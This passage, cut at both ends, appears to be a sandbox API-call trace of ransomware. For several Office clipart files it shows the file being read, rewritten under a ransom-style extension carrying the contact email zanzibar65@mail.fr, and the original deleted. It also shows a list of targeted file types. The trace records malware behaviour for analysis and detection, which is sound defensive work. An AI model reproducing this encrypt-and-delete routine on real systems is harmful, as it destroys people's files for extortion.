lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xfc0, lpOverlapped=0x0) returned 1 [0056.722] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.722] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.722] SetEndOfFile (hFile=0x174) returned 1 [0056.722] CloseHandle (hObject=0x174) returned 1 [0056.722] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.722] SetEndOfFile (hFile=0x228) returned 1 [0056.723] CloseHandle (hObject=0x228) returned 1 [0056.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0056.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0056.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0056.724] lstrlenW (lpString=".doc") returned 4 [0056.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.724] lstrlenW (lpString=".docx") returned 5 [0056.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.724] lstrlenW (lpString=".pdf") returned 4 [0056.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.724] lstrlenW (lpString=".xls") returned 4 [0056.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.724] lstrlenW (lpString=".xlsx") returned 5 [0056.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.724] lstrlenW (lpString=".ppt") returned 4 [0056.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0056.724] lstrlenW (lpString=".zip") returned 4 [0056.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.724] lstrlenW (lpString=".rar") returned 4 [0056.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.724] lstrlenW (lpString=".bz2") returned 4 [0056.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.724] lstrlenW (lpString=".7z") returned 3 [0056.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0056.724] lstrlenW (lpString=".dbf") returned 4 [0056.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0056.724] lstrlenW (lpString=".1cd") returned 4 [0056.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0056.724] lstrlenW (lpString=".jpg") returned 4 [0056.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.725] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.725] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0056.725] GetLastError () returned 0x0 [0056.725] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x386c, lpOverlapped=0x0) returned 1 [0056.727] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x3870, lpOverlapped=0x0) returned 1 [0056.728] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.728] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.728] SetEndOfFile (hFile=0x174) returned 1 [0056.728] CloseHandle (hObject=0x174) returned 1 [0056.728] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.728] SetEndOfFile (hFile=0x228) returned 1 [0056.729] CloseHandle (hObject=0x228) returned 1 [0056.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0056.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0056.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0056.732] lstrlenW (lpString=".doc") returned 4 [0056.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.732] lstrlenW (lpString=".docx") returned 5 [0056.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.732] lstrlenW (lpString=".pdf") returned 4 [0056.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.732] lstrlenW (lpString=".xls") returned 4 [0056.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.732] lstrlenW (lpString=".xlsx") returned 5 [0056.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.732] lstrlenW (lpString=".ppt") returned 4 [0056.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0056.732] lstrlenW (lpString=".zip") returned 4 [0056.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.732] lstrlenW (lpString=".rar") returned 4 [0056.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.732] lstrlenW (lpString=".bz2") returned 4 [0056.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.732] lstrlenW (lpString=".7z") returned 3 [0056.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0056.733] lstrlenW (lpString=".dbf") returned 4 [0056.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0056.733] lstrlenW (lpString=".1cd") returned 4 [0056.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0056.733] lstrlenW (lpString=".jpg") returned 4 [0056.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.733] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.733] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0056.733] GetLastError () returned 0x0 [0056.734] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x600, lpOverlapped=0x0) returned 1 [0056.735] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x610, lpOverlapped=0x0) returned 1 [0056.736] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.736] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.736] SetEndOfFile (hFile=0x174) returned 1 [0056.736] CloseHandle (hObject=0x174) returned 1 [0056.736] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.736] SetEndOfFile (hFile=0x228) returned 1 [0056.737] CloseHandle (hObject=0x228) returned 1 [0056.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0056.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0056.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0056.737] lstrlenW (lpString=".doc") returned 4 [0056.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.738] lstrlenW (lpString=".docx") returned 5 [0056.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.738] lstrlenW (lpString=".pdf") returned 4 [0056.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.738] lstrlenW (lpString=".xls") returned 4 [0056.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.738] lstrlenW (lpString=".xlsx") returned 5 [0056.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.738] lstrlenW (lpString=".ppt") returned 4 [0056.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0056.738] lstrlenW (lpString=".zip") returned 4 [0056.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.738] lstrlenW (lpString=".rar") returned 4 [0056.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.738] lstrlenW (lpString=".bz2") returned 4 [0056.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.738] lstrlenW (lpString=".7z") returned 3 [0056.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0056.738] lstrlenW (lpString=".dbf") returned 4 [0056.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0056.738] lstrlenW (lpString=".1cd") returned 4 [0056.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0056.738] lstrlenW (lpString=".jpg") returned 4 [0056.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.739] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.739] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0056.739] GetLastError () returned 0x0 [0056.739] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1264, lpOverlapped=0x0) returned 1 [0056.740] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1270, lpOverlapped=0x0) returned 1 [0056.741] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.741] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.741] SetEndOfFile (hFile=0x174) returned 1 [0056.742] CloseHandle (hObject=0x174) returned 1 [0056.742] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.742] SetEndOfFile (hFile=0x228) returned 1 [0056.743] CloseHandle (hObject=0x228) returned 1 [0056.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0056.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0056.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0056.743] lstrlenW (lpString=".doc") returned 4 [0056.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.743] lstrlenW (lpString=".docx") returned 5 [0056.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.743] lstrlenW (lpString=".pdf") returned 4 [0056.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.743] lstrlenW (lpString=".xls") returned 4 [0056.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.743] lstrlenW (lpString=".xlsx") returned 5 [0056.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.743] lstrlenW (lpString=".ppt") returned 4 [0056.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0056.744] lstrlenW (lpString=".zip") returned 4 [0056.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.744] lstrlenW (lpString=".rar") returned 4 [0056.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.744] lstrlenW (lpString=".bz2") returned 4 [0056.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.744] lstrlenW (lpString=".7z") returned 3 [0056.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0056.744] lstrlenW (lpString=".dbf") returned 4 [0056.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0056.744] lstrlenW (lpString=".1cd") returned 4 [0056.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0056.744] lstrlenW (lpString=".jpg") returned 4 [0056.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.745] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.745] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0056.745] GetLastError () returned 0x0 [0056.745] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x6c8, lpOverlapped=0x0) returned 1 [0056.747] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0056.748] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.748] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.748] SetEndOfFile (hFile=0x174) returned 1 [0056.748] CloseHandle (hObject=0x174) returned 1 [0056.748] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.748] SetEndOfFile (hFile=0x228) returned 1 [0056.749] CloseHandle (hObject=0x228) returned 1 [0056.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0056.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0056.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0056.749] lstrlenW (lpString=".doc") returned 4 [0056.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.750] lstrlenW (lpString=".docx") returned 5 [0056.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.750] lstrlenW (lpString=".pdf") returned 4 [0056.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.750] lstrlenW (lpString=".xls") returned 4 [0056.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.750] lstrlenW (lpString=".xlsx") returned 5 [0056.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.750] lstrlenW (lpString=".ppt") returned 4 [0056.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0056.750] lstrlenW (lpString=".zip") returned 4 [0056.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.750] lstrlenW (lpString=".rar") returned 4 [0056.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.750] lstrlenW (lpString=".bz2") returned 4 [0056.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.750] lstrlenW (lpString=".7z") returned 3 [0056.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0056.750] lstrlenW (lpString=".dbf") returned 4 [0056.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0056.750] lstrlenW (lpString=".1cd") returned 4 [0056.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0056.750] lstrlenW (lpString=".jpg") returned 4 [0056.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.751] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=12482) returned 1 [0056.751] CloseHandle (hObject=0x228) returned 1 [0056.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0056.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0056.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0056.751] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.751] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0056.751] GetLastError () returned 0x0 [0056.751] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x30c2, lpOverlapped=0x0) returned 1 [0056.901] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0056.902] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.902] WriteFile (in: hFile=0x174, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.902] SetEndOfFile (hFile=0x174) returned 1 [0056.902] CloseHandle (hObject=0x174) returned 1 [0056.902] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.902] SetEndOfFile (hFile=0x228) returned 1 [0056.903] CloseHandle (hObject=0x228) returned 1 [0056.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: 